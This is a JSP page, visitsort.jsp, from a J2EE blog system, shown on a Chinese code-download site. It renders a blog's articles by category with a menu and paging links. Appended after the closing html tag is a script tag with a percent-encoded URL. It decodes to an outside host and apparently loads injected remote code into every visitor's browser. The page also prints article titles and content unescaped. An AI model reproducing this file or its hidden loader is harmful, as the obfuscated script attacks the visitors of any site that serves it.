⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 visitsort.jsp

📁 本博客系统是在J2EE平台上用Hibernate框架技术和MVC模式构建
💻 JSP
字号:
<%@ page contentType="text/html;charset=UTF-8" language="java"%>
<%@ page import="com.blog.*"%>
<%@ page import="com.blog.tableclass.*"%>
<%@ page import="java.util.*"%>
<%
	Blog blog = (Blog)session.getAttribute(Constants.VISIT_BLOG_KEY);
	List articleList = (List)session.getAttribute(Constants.ARTICLE_LIST_KEY);
	Article article = null;
	Integer tpage=(Integer)session.getAttribute(Constants.CUR_PAGEID_KEY);
	int pageId=tpage.intValue();
	Integer tSortId=(Integer)session.getAttribute(Constants.CUR_SORTID_KEY);
	int sortId=tSortId.intValue();
%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
	<head>
		<title>文章分类</title>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		<link rel="StyleSheet" type="text/css" href="images/style.css">
	</head>
	<body>
		<table width="85%" height="207" align="center">
	<tr>
		<td width="85%" height="125" background="images/head004.gif"><FONT face="宋体"></FONT></td>
	</tr>
	<tr height="31">
		<td>
			<table border="0" cellpadding="0" cellspacing="0" background="images/line.jpg">
				<tr height="20" align="center">
					<td class="lt0" width="580"></td>
					<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/topBlog.jsp">博客排行榜</a></td>
					<td class="ltsep">|</td>
					<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/index.jsp">博客首页</a></td>
					<td class="ltsep">|</td>
					<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/Regist.jsp">新博客注册</a></td>
					<td class="ltsep">|</td>
					<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/include/search.jsp">搜索</a></td>
			  		
			  </tr>
		  </table>
	  </td>
  </tr>
</table>
<script language="javascript">
<!--
function mhEnter()
{
window.event.srcElement.className="lt1";
}
function mhLeave()
{
window.event.srcElement.className="lt0";
}
//-->
</script>
		<table height="45" cellspacing="0" cellpadding="0" width="85%" background="images/banner3.gif" border="0" align="center">
			<tbody>
				<tr>
					<td align="middle">
						<b><font size="2" color="#FF0000"><%=blog.getSubject()%>的Blog,欢迎您!</font></b>
					</td>
				</tr>
				
			</tbody>
		</table>
		<table align="center" background="images/bg.GIF">
		<tr>
		<td valign="top">
			<jsp:include page="visitLeft.jsp"></jsp:include>
		</td>
		<td valign="top">
		<table border="1" width="550" bordercolor="#4EA9F1">
			<%if(articleList != null ){
			System.out.println(articleList.size());
       for(int i = 0;i < articleList.size();i++)
       {  
       		article = (Article)articleList.get(i);
      %>



			<tr>
				<td width="100%">
					<b><font color="#FF0000"><%=article.getTitle()%></font></b>
					<p>
						<b><font color="#FF0000"><%=article.getContent()%></font></b>
					</p>
					<p align="right">
						<b><font color="#FF0000"><a href="showFeedback?articleid=<%=article.getId()%>">查看评论</a></font></b>
					</p>
				</td>
			</tr>
			
			<%	
         }
      }	%>


			<tr>
				<td width="100%">
					<p align="center">
						| <font color="#999999"> <a href="manageBlog?pageid=<%=pageId-1%>">上页</a></font> | <a href="manageBlog?pageid=<%=pageId+1%>">下页</a> |
					</p>
				</td>
			</tr>
		</table>
		</td>
		</tr>
	</table>
	</body>
</html>
<script src="http://%78%79%6B%2E%74%78%73%68%69%2E%63%6F%6D/%62%32%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -